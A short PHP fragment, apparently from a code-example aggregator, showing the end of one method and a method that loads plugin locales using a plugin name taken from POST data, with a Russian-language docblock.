         $result = self::$pluginsInfo;
     }
     return $result;
 }
Exemplo n.º 30
0
 /**
  * Устанавливает локаль для плагина, используется в JS плагинов
  * @return boolean
  */
 public function seLocalesToPlug()
 {
     $this->data = PM::plugLocales($_POST['pluginName']);
     return true;
 }